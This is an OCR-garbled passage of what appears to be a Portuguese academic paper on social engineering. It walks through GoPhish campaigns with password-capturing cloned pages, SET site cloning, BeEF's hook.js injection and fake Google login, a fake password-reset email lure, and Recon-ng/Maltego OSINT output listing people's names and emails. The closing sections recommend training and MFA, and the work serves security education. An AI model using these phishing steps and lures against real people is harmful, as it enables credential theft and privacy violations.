Agora, iremos colocar link em “esse link”. Passe o mouse m cima dessa frase e
selecione.



https://docs.getgophish.com/user-guide/template-reference
https://docs.getgophish.com/user-guide/template-reference
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Em seguida, cliqgue CTRL+K no teclado e digite dessa forma, depois clique em OK:

Pronto. Nosso link ficou no meio do template e as palavras ficaram sublinhadas e
azuis. Cligue em Save Template.

Agora vamos montar o link duvidoso. V& em Landing Pages na aba lateral e em New
Pages.

Depois, coloque o nome e o site que deseja ser clonado. O GoPhish faz todo o trabalho
duro de clonar.



New Landing Page

Name:

LP

@ Import Site

Depois, habilite “Capture Submitted Data” e “Passwords” e em “Redirect t0”,
coloque o link original que vocé colocou em “import site”. Depois, Save Page.

Capture Submitted Data @

Capture Passwords

OWarning: Credentials are currently not encrypted. This means that captured passwords are stored in

the database as cleartext. Be careful with this!

Redirect to: @

https://www.cloudsprout.com/ ‘

Agora vamos criar nosso usuario para enviar o e-mail, para que José da Silva ndo
desconfie da origem do e-mail. V4 em Sending Profiles e depois em New Profile.

Sending Profiles
B3

00

BONS/NBES 80

Depois, preencha as informagdes. Aqui, preenchemos dessa forma. O nome pode ser
qualquer um de sua preferéncia, 0o SMTP From seria 0 nome do e-mail que vai enviar a
mensagem.

38
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New Sending Profile

Lembrando que a porta SMTP colocada é o padrdo do Gmail devido a esse ser um
teste ficticio, mas em situagdes reais, com empresas, é usada a porta estabelecida pela
empresa ou o0 dominio utilizado, para que a simulagéo fique mais realista. Em Username,
coloquei meu e-mail de teste, que era outro e-mail do que foi utilizado para registrar José da
Silva. Agora, vamos enviar um e-mail de teste antes de testar com José da Silva, para ver se 0
servico de e-mail esta funcionando. No e-mail, coloquei o que foi colocado em Username. Se
o teste deu certo, clique em Save Profile.

Send Test Email

Vamos ir para Campaigns agora e clicar em New Campaign. Escreva nome, selecione
template do e-mail, Landing Page que sera utilizada. No campo da URL tem que inserir no
formato http://<ip>, pois, caso insire na forma https, quando a vitima tentar entrar no link, vai
dar erro no carregamento.
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New Campaign

Quando a vitima cai no e-mail, é assim que aparece:

Email Sent Email Opened Clicked Link Submitted Data Email Reported
< 1 } ‘ 1 D ‘ 1 ’ 0
o
Timeline

© crisen R

SOCIAL ENGINEERING TOOLKIT

Nesse caso, iremos criar um clone de site ja existente. Para realiza-lo, iremos clicar no
1) Social-Engineering Attacks
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Dentro de Social-Engineering Attacks, aparecera um outro menu. Clique em 2)
Website Attack Vectors.

B ONE s HEAS GO oo

Depois, va em 3) Credential Harvester Attack Method:

Depois, ira aparecer outro menu. Escolha 2) Site Cloner.



Em seguida, aparecerd um campo de colocar o IP. Caso ndo saiba seu IP, abra outro

terminal e digite hostname -1. Depois insira nesse campo.

Credential harvester will allow you to utilize the clone capabilities within SET
to harvest credentials or parameters from a website as well as place them into a report

— * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * —

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL

IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will

need to do port forwarding to your NAT IP address from your external IP
address. A browser doesn’t know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perspective, it will not work. This isn't a SET issue
this is how networking works.

> IP address for the POST back in Harvester/Tabnabbing [10.0.2.15]: 10.0.2.15}

Depois, cologue o site que deseja clonar.

Credential harvester will allow you to utilize the clone capabilities within SET
to harvest credentials or parameters from a website as well as place them into a report

—— * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * —

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL

IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will

need to do port forwarding to your NAT IP address from your external IP
address. A browser doesn’t know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perspective, it will not work. This isn't a SET issue
this is how networking works.

- > IP address for the POST back in Harvester/Tabnabbing [10.0.2.15]: 10.0.2.15
SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com

2 > Enter the url to clone: https://ww.uol.com.br/f]

Minimiza o terminal e va no navegador, pesquisando por IP na barra onde coloca o

site. Esse é o resultado:
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Embora o resultado gerado seja parecido, ainda é possivel notar algumas pequenas
diferencas sobre o site original. Além do link, que é diferente, no site original, a barra superior
da UOL no site original aparece o preco do ddlar e euro no momento e o clima em S&o Paulo,
bem como uma aba para criar sua conta na UOL. No site clone, esses itens nao foram
renderizados, mesmo ficando quase idéntico ao original.

BEEF

Para comecar, vamos instalar. Digite sudo apt install beef-xss:
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Para executar o programa, digite sudo beef-xss. Ao executar pela primeira vez, tera
que alterar a senha padrdo do usuario Beef para uma de sua preferéncia.

/home/aykaah

nd GeolIP database

isabled; preset: disabled)
5s ago

eb UI (http:

/home/aykaah

Depois de criar a senha, ele ira carregar e abrird WebUI e o script Hook para ‘hook.js’,
para inserir em sites.

Web UI: http://127.0.0.1:3000/ui/panel
Hook: <script src="http://<IP>:3000/hook.js"></script>

Example: <script src="http://127.0.0.1:3000/hook.js"></script>

BeEF abrira em uma pagina da Web, entre com o usuario ‘beef” e a senha que vocé
configurou anteriormente.
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=eEF

Authentication

Username: heef

Password: Ty

Login

Essa é a interface do BeEF:

B O ¥ 5 # 0BT S, @8 D i Coniro

Como cada aba funciona:
Getting Started: Orientagdes de como usar o BeEF, de forma geral.

Logs: O historico de atividades do BeEF, incluindo interacbes com as paginas do
navegador, comandos, respostas e erros do sistema.

Zombies: Terad navegadores que o BeEF controla, sendo listados, permitindo que
interaja com eles.

Hooked Browsers: Lista de navegadores, que estdo conectados atualmente no BeEF,
contendo endereco IP, nome e Sistema Operacional.

Requester: Aba para enviar solicitagdo HTTP a partir do site logado no BeEF.

Basic: Para conferir mais informac@es sobre o navegador e interagir com o usuério
(navegador) com comandos.
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Na péagina inicial do BeEF, ha dois links de demonstracdo, que podem ser testados e
contém cddigo malicioso (ou seja, hook.js dentro do site). Vamos testar do ‘advanced
version’.

Before being able to fully explore the framework you will have to 'hook’ a browser. To begin with you
can peint a browser towards the basic demo page here, or the advanced version here.

VVamos copiar o link, ou seja, http://127.0.0.1:3000/demos/butcher/index.html.
Recomendo que altere o link para o IP da sua maquina atacante.

Vamos usar um encurtador de URL para enviar o link dentro de um e-mail, e usar
depois 0 modificador do nome do link do proprio Gmail. Para mudar o nome do link,
selecione, clique com o botdo direito no link e clique em Change.

CloudSprout - Sua
Prezado(a) Colabor:

Em conformidade col A SITNALACHD

que todos os funcio
fim do dia de hoje f
contas corporativas

l
CAsUVOCeE Ty a ser temporariamente

i
suspenso até que a atualizacdo seja a. Se tiver davidas, entre em contato com o
Suporte de Tl

Atenciosamente
CloudSprout

© @ sansSerif + 7T+ B I U A~

D - - o o 8

Enviamos uma simulacédo de phishing via e-mail para nés mesmos, e no caso, foi
enviado para duas contas de Gmail que pertencem a mesma pessoa. Também pode ser testado
via GoPhish, citado anteriormente.

]

11]

iii
‘

CloudSprout - Sua conta sera bloqueada! 2 &
cloudsprout I 2iPMOmnesas0)  fr @ @
tome »

Prezado(a) Colaborador(a),

Em conformidade com as novas diretrizes de seguranca da empresa, € obrigatorio que todos os funcionaries atualizem suas senhas no novo portal de seguranca no fim do dia de hoje.
Esse é um procedimento padrdo para aumentar a protecéo das contas corporativas.

Acesse o link abaixo para realizar a atualizacdo:
www.cloudsprout.com.br/alterar-senha

Caso vocé ndo conclua o procedimento, seu acesso podera ser temporariamente suspenso até que a atualizacio seja feita. Se tiver duvidas, entre em contato com o Suporte de Tl

Atenciosamente.
CloudSprout.

Quando o navegador (usuario) abrir, vai aparecer assim:
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Welcome to The Butcher, your source of delicious
meats. Please feel free to view our samples, sign up
to our mailing-list or purchase our special BeEF-
hamper!

Our Meaty Friends | | Order Your BeEF-Hamper

Um simples site de venda de carne. Confia...
Depois volte no BeEF e veja a surpresa:

Hooked Browsers
4 Online Browsers
453100215
7 O @ 7100215
(2 Offline Browsers

Getting Started x| Logs Zombies Current Browser

THE BROWSER EXPLOITATION FRAMEWORK PROJECT
Official website: http:i/beefproject.com!
Getting Started
Welcome to BEEF!

Before being able to fully explore the framework you will have to "hook' a browser. To begin with you
can point a browser towards the basic demo page here, or the advanced version here

If you want to hook ANY page (for debugging reasens of course), drag the following bookmarklet link
into your browser's bookmark bar, then simply click the shortcut on another page: Hook Me!

After a browser is hooked into the framework they will appear in the 'Hooked Browsers' panel on the
left. Hooked browsers will appear in sither an online or offine state, depending on how recently they
have polled the framework.

Hooked Browsers

To interact with a hooked browser simply lefi-click it, a new tab will appear. Each hooked browser tab
has a number of sub-tabs, described below:

Details: Display information about the hooked browser after you've run some command modules
Logs: Displays recent log entries related to this particular hooked browser.

Commands: This tah is where modules can be executed against the hooked browser. This is
where most of the BeEF functionality resides. Most command modules consist of Javaseript code

Olha o que aparece quando clica em “Current Browser”:
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Em ‘commands’, podemos fazer comandos com nosso usuario. Mas por ora, iremos usar

sO a aba de Engenharia Social.

O O 127001

s = Kali Docs W Kali Forums e Kali NetHunter

Hooked Bruwsers — =
4125 Orine Browsers
4310218

2 7 100215 Moduie Tree

D Commands

Spoot Al B (3828 UR
oy

Repiace Viouos (Faks Pl
F——
pe——

@ Edge WScrp WSH njecaos

@ Faie Evermote Wieh Cigper

@ Faie LasiPass

® User lesface Abwsse (F 1

Basic | Reguesier & Reasy

‘current Browser

# Gosr 0540 | Lo

Vamos testar Google Phishing s6 de exemplo. Cliqgue em Google Phishing e depois, va
em executar.



Kall Linux @ Kali Tools

7 8@ 7 w0218

Entrada

= Kali Docs N Kall Forums e Kall N it-DB = Google Hack board - Gophish

Current Browser
Commands
Modube Tree Google Phisheng

Descrenion
Chirne Exienaons

e URL

o u

S hock UR: [ p:710.0,0.0:3000idermosiplain himd
Genal koot 10000

Redirect delay |

Bar (Fueta

dvos (Fake Phogy
© Simpie Mjacke

© Tanatbing

@ Edge Wcrpt WS Injecol
@ Fie Evemcte Web Clgper
© Fe LastPass

@
@ Freox Extension (Dropper)

Extension (Bindshed

@ Fretox Extension (Reverze
© HTA PowerShet

© SiteKos Breaknt

® User Wertace Atusse O 9

2 Reay

This phuge uses an image tag 1o XSRF e logout button of Gmail
‘e Gl URL

¥ Becr 0540 | Looou

49

logge out of G (e f he i logged i in another ta). Addtionaly & wl show the Googl favicon and & Grmallphishng pege (athough

Hooked Browsers
4= Orline Browsers
? 8@ ? 127001
455 Offine Browsers
459100215
? & @ ? w0215

Google Mail
A Google approach to email

Google Mal Is bult on the idea that email can be more inaulive, eMicient, and useful. And maybe even fun
Aer 3

cagle Mai has:

Lots of space

Over 275

164 megabytes (and counting) of free siorage.

Less spam
Keep

ot of your inbox,

Mobile access
Get Geogle Mail on you

m @ B

Switch o Google Mail  Cre

Take Google Mail to work with Google Apps for Business

Love Google Mail, bat loaking fof & company
Get 1dar, a com. Leam

D 127.0.01 ilpanelHid=qkhQep

= Kali Docs ¥ Kali Forums e\ Kali NetHunter Exploit-D [ Dashbe

Signin

Usemame

Password

Geting Started Logs Zombies Current Browser
Detaiis | Logs | Commands | Proxy || XssRays || Network
Module Tree Module Results History Command results
rch id+  date label
R g data: resuli=Username:
> [ Chrome Extensions (8} 0 202411201445  command1

> [ Debug (8)
> (2] Explaits (110)
> (2] Host (24)
> [Z1IPEC (9)
> (2] Metasploit (1)
» [ Misc (20)
> (2] Nebwork (24)
» (2] Persistence (2)
» (2 Phonegap (16)
4¢3 Social Engineering (24)
Text 10 Voice
Clickjacking
Leamiuf Download
Spoo Address Bar (data UF
® Cioay
& Fake Flash Update
& Fake Noification Bar
& Fake Notfcation Bar (Chor
& Fake Notfcation Bar (Fireta
& Fake Noification Bar (IE)
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OSINT

Recon-ng: Primeiro, abra o prompt de comando do seu Linux, e habilite “sudo su”
para ativar o super-usuario. Se vocé usa Kali Linux ou Parrot OS Security, ele ja vem pré-
instalado, mas se tiver em outra distribuicdo, hd algumas maneiras de instalar:

Ubuntu: Precisa de git e pip instalado. Siga os procedimentos.
aykaah@aykaah:~/$ git clone https://github.com/lanmaster53/recon-ng.qgit
aykaah@aykaah:~/$ cd recon-ng

aykaah@aykaah:~/$ pip install -r REQUIREMENTS

aykaah@aykaah:~/recon-ng/$ ./recon-ng

Usando Docker, siga esses procedimentos:

Instale Docker Desktop;

Veja se ~/.recon-ng tem no host;

Clone o repositorio GitHub

- git clone https://github.com/lanmaster53/recon-ng.git
Mude o diretdrio para Recon-ng;

- ¢d recon-ng

Construa a imagem do Docker;

docker build --rm -t recon-ng .

Execute recon-ng;

docker run --rm -it -p 5000:5000 -v $(pwd):/recon-ng -v ~/.recon-ng:/root/.recon-ng --
entrypoint "./recon-ng" recon-ng

Ao iniciar Recon-web, --entrypoint "./recon-web" e --host 0.0.0.0 deve ser anexado no final
do comando.

Execute APl com docker-compose up -d --build

Ao terminar de usar, digite docker-compose down

Uso:
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Arquivo  Maquina Visualizar Entrada Dispositivos Ajuda

B omP |1 2 3 4

root@aykaah: fhome]aykaah
File Actions Edit View Help

Para executar, digite recon-ng

Ao abrir, precisaremos criar uma workspaces. Digite workspaces create
nomequedesejarcolocar.

Depois, precisamos atualizar os marketplaces, ou seja, um repositorio de comandos
que podem ser usados nessa ferramenta. Para atualizar a lista para a ultima verséo, digite
marketplace refresh. Depois, para pesquisar as ferramentas, pesquise marketplace search.

Um comando que recomendo para baixar varios marketplaces ao mesmo tempo é o
marketplace install all.

Uma das ferramentas que existe, que coleta IP é o HackerTarget. Digite marketplace
install recon/domains-hosts/hackertarget.
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Para baixar o modulo, escreva modules load recon/domains-hosts/hackertarget e
depois escreva info, conforme a print.

Para extrair IPs de um site, escreve-se options set SOURCE sitequedesejar.com (no
caso da print, foi yahoo.com).

Outros comandos por IP podem ser encontrados usando recon/hosts-hosts/resolve, assim
como o bing_ip, ipinfodb, ipstack e shodan_ip também podem ser usados para esse fim. No
caso, vamos usar recon/hosts-hosts/resolve. Digite marketplace install recon/hosts-
hosts/resolve, depois rode modules load recon/hosts-hosts/resolve, e depois info. Depois,
coloque options set SOURCE sitequedesejar.com (aqui foi yahoo.com). Em seguida, run.

File Actions Edit View Help

Sponsored by ...

uirce credential

‘hosts-hosts/resolve

Para ver quantos hosts ja capturou até agora, digite show hosts.
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Agora, iremos rodar o recon/domains-contacts/whois_pocs, para coletar e-mails
disponiveis publicamente. Siga esses procedimentos: marketplace install recon/domains-
contacts/whois_pocs, depois volte para o workspaces com workspaces load yahoo.com, digite
modules load recon/domains-contacts/whois_pocs, va em info, segue com options set
SOURCE yahoo.com, e run

[recon-ng][default] > marketplace install recon/domains-contacts/whois_pocs

Module installed: recon/domains-contacts/whois_pocs
Reloading modules ...
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Arquivo Maquina Visualizar Entrada Dispositivos Ajuda

;t§ | m PO 2 3 4 )

root@aykaah: /home/aykaah
File Actions Edit View Help

[recon-ng][yahoo.com] > modules load recon/domains-contacts/u
[recon-ng][yahoo.com][whois_pocs] > info

Name: Whois POC Harvester
Author: Tim Tomes (@lanmaster53)
Versio 1.0

Description:
Uses the ARIN Whois RWS to harvest POC data from whois queries for the given domain. Updates the
‘contacts' table with the results.

Options:
Name Current Value Required Description

Sou yahoo.com yes source of input (see 'info' for details)

Source Options:
default SELECT DISTINCT domain FROM domains WHERE domain IS NOT NULL
<string> string representing a single input
<path> path to a file containing a list of inputs
query <sgl> database query retu ng one column of inputs

[recon-ng][yahoo.com][whois_pocs] > options set SOURCE yahoo.com
SOURCE = yahoo.com
[recon-ng][yahoo.com][whois_pocs] > run

YAHOO . COM

URL: http://whois.arin.net/rest/pocs;domain=yahoo.com
URL: http://whois.arin.net/rest/poc/VPB1-ARIN
Country: United States

Email: lpraise_him@yahoo.com

First_Name: Bettina

Last_Name: Van Pelt

Middle_Name: None

Notes: None

Phone: None

Region: Chicago, IL

Title: Whois contact

URL: http://whois.arin.net/rest/poc/VPB-ARIN
Country: United States

Email: lpraise_himayahoo.com

First_Name: Bettina

Last_Name: Van Pelt

Middle_Name: None

Notes: None

Phone: None

Region: Chicago, IL

Title: Whois contact

Nesse caso, foi encontrado 176 contatos relacionados com yahoo.com apenas com essa

ferramenta, tendo um total de 256 até agora.
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Be@mPorl-| 2
root@aykash: fhome/aykash

File Actions Edit View Help

Title: Whois contact

_Name: Annetta
Last_Name: Caster
Middle_Name: None

Auburn,
Title: Whois contact

http://whois.arin.net/rest/poc/MICKE34-ARIN
Country: ates
Email: audriusvaitiekunas@yahoo.com
First_Name: Mindaug
Last_Name: Mickevicius
Middle_Nam
Notes: No
None

gion: Lynwood, IL

Title: Whois contact

URL: http://whois.arin.net/rest/poc/TROXC8-ARIN
Country: United States

Email: audubonhor 1thayahoo. com

First_Name: Diani

Last_Name: Troxclair

Middle_Name: None

Notes: None

Phone: None

Region: Baton Rouge, LA

Title: Whois contact

URL: http://whois.arin.net/rest/poc/BELLR19-ARIN
Country: United States
austinandbellayahoo
e: Robert
: Bell
None
None
None
springfield, TN
Title: Whois contact

SUMMARY

6 total (176 new) contacts found.
[recon-ng][default][whois_pocs] > ll

Escrevendo show hosts, da para ver todos os enderecos IP coletados, e escrevendo
show contacts, da para ver todos os contatos obtidos pelo whois.
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Se vocé usa Kali Linux ou Parrot OS Security, ele ja vem instalado. Mas se quiser
instalar em outra distribuicdo Linux, como Ubuntu, Debian, Fedora etc., siga esses

procedimentos.
V& em https://www.maltego.com/downloads/;
(® MALTEGO  PRICING  CAPABILITIES ~  RESOURCES ~  INDUSTRIES ~ m

Please review the before p with th X

Windows Mac

& Maltego v4.8.1 for Linux .
Start Enhancing Your

Investigations Today!

SELECT A FILE TYPE

Customize your Maltego solution according
to your investigative needs

DOWNLOAD MALTEGD

https:/downloads. maltego.com/malte ... )

You can view our change log here = ST

Na aba Linux, escolha se quer .deb, .zip ou .rpm;

Se foi .deb, va no terminal, e digite cd Downloads e depois cd Maltego (Caso vocé

tenha instalado nessa pasta) e em seguida dpkg —i <maltegofile>.deb

Se foi .rpm, no terminal, digite cd Downloads e depois cd Maltego (Supondo que

vocé instalou nessa pasta). Em seguida, rpm —i <maltegofile>.rpm
Se foi .zip, extraia o arquivo e rode Maltego no diret6rio bin.
Também € possivel instalar no Windows e Mac.

Ao instalar, ird pedir para que voceé se registre com Maltego ID. Crie sua conta e siga

0s procedimentos fornecidos.

Quando abrir na pagina inicial, aparecera essa tela:
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Hub Transform inputs

Cligue e coloque o link de sua preferéncia.
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Maltego Community Edition 4.7.0

BONGsMBEN S0 i

No exemplo, foi utilizado yahoo.com. Depois, clique com o botéo direito do mouse, e

clique nessas setas, baseado no que vocé quer saber sobre o site.

Maltego Community Edition 4.7.0

BO¥T s MmEMN @0 rH o

No exemplo, executamos tudo. O que foi encontrado todos esses dados, indo de DNS e

subdominios, até e-mails etc.
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CAPITULO 3. RESULTADOS E DISCUSSAO

1. Resultado das ferramentas aplicadas

Na utilizagdo prética, usamos ferramentas como o Social Engineering Toolkit,
GoPhish, BeEF, MalteGo e Recon-ng para simular ataques de engenharia social. Os cenarios
usados foram: Simulacéo de phishing por e-mail e exploragéo de vulnerabilidades por links

maliciosos. Verificamos que:

- Ao usar o BeEF, demonstrou-se que navegador desatualizado sdo um problema
para ataques, reforcando a necessidade de politicas de atualizacdo, além do problema humano
de falta de conscientizacdo, pois é preciso corrigir patches com frequéncia, o que sdo
presentes nessas atualizacdes, para prevenir novas técnicas de ataques, tornando navegadores

antigos mais vulneraveis.

As discussdes que podem estar presentes nesse artigo séo:

Foi verificado que o maior fator para o sucesso nos ataques séo o desconhecimento
dos usuarios. Por isso, faz-se importante treinamentos, como no site KnowBe4 ou na norma
NIST. Além disso, € estritamente importante também a presenca de um MFA, para impedir
ataques de escalonamento de privilégios. Em quase todos os ataques comuns de engenharia

social, a exploracdo de credenciais humanas normalmente é o ponto inicial.

Relacionado a reflexao da legislacdo brasileira, 0 LGPD e o Marco Civil da Internet
tem bases solidas para tratar essas violagGes, mas ha um problema: na pratica, ainda tem uma
baixa fiscalizagéo e falta de treinamento nas empresas. Integracdo entre treinamentos

obrigatdrios e auditorias externas regulares sao recomendados, para aliviar esse problema.



CONCLUSAO

Ao ser usada a seguranca da informacao sobre a ética da prevencdo, mitigacéo e
execucao ética em relacdo do que tange a Engenharia Social, se demonstra continuamente um
dos desafios latentes e existentes na contemporaneidade, especialmente se levarmos em
consideracdo o avancgo das novas tecnologias. Como visto nesse trabalho, demonstrou-se que
o0 problema maior para o avanco da engenharia social de forma antiética ndo depende Unica e
exclusivamente das vulnerabilidades dos sistemas e tecnologias, mas principalmente dos
fatores humanos, utilizando técnicas de manipulagéo psicologica classicas e funcionais para
obter informac6es confidenciais e invadir sistemas ndo autorizados. Diante desse cenario, se
faz importante as estratégias de prevencdo e mitigacdo, como o uso das autenticacoes
multifator, treinamento baseado na norma NIST, o cumprimento das leis brasileiras como a
Lei Geral de Protecdo de Dados (LGPD), Estratégia de Governanca Digital (EGD), Decreto n°
9.637/2018 - Politica Nacional de Seguranca da Informacao, Estratégia Nacional de
Seguranca Cibernética (E-Ciber) e a Instru¢cdo Normativa n°1/DSIC/GSIPR, o cumprimento
das familia das normas ISO 27000, servem perfeitamente para treinar os colaboradores para

maior controle de seguranca organizacional.

O uso das Security Technical Implementation Guides (STIGS) e das politicas de controle de acessc
renomados, como William Stallings, David Ferraiolo, Ravi S. Sandhu, Karen Scarfone,
Eugene Howard Spafford e outros. Além disso, testes periddicos com os funcionarios avaliam
sua capacidade de identificar e evitar tentativas de engenharia social dentro da empresa,
reforcando sua resiliéncia sobre possiveis incidentes, seus aprendizados e que todos sejam
informados sobre o papel dessas simulagdes, o que complementa fortemente a NIST e a ISO
citados anteriormente. Quando acompanhado com treinamentos corretivos, influencia

fortemente a cultura de seguranca organizacional.

Em sintese, esses trés fatores combinados, bem como a integracdo entre tecnologia, processos e ed
bésicos da seguranca da informacéo, a confidencialidade, integridade e disponibilidade dos

dados.
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